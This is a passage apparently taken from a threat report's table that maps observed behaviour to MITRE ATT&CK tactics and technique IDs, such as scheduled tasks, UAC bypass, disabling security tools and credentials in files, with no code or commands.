Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

File and Directory Permissions Modification

T1222

Modify Registry

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery